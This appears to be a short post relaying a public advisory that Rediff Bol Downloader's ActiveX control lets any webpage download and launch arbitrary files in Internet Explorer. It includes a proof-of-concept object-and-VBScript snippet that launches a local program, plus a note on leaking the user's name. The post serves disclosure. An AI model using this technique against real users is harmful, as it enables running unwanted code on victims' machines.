Vulnerability in Rediff Bol

This is just out on the Full Disclosure mailing list. Rediff Bol Downloader ActiveX allows downloading and spawning arbitrary files. Rediff Bol Downloader ActiveX control allows any webpage to download and spawn file. These file can be of any type. No filtering is done. IE Displays an alert, if the code points to a executable file on the internet. But execution of local files displays no alert. I tested this on Firefox and neither does it show any warning nor does it execute the download.

Tested On :
* IE 7.0.5730.11 (WinXP SP2)
* IE 6.0.2900.2180 (WinXP SP2)

Proof Of Concept Code:

[OBJECT id="rboldwn" WIDTH=445 HEIGHT=40
classid="clsid:BADA82CB-BF48-4D76-9611-78E2C6F49F03"
codebase="http://imdownloads.rediff.com/newbol/Bol.CAB"]
[/OBJECT]
[script language="vbscript"]
rboldwn.url = "file://C:/WINNT/Notepad.exe"
rboldwn.fontsize = 14
rboldwn.barcolor = EE4E00
rboldwn.start = "start"
[/script]

A variation of this, allows downloading a HTML File that can disclose the path to the local temporary internet files folder. It can disclose the Logged in User's username. A typical path to Temporary Internet Files folder is: C:\Documents and Settings\<username>\Local Settings\Temporary Internet Files

Online Info + Demo: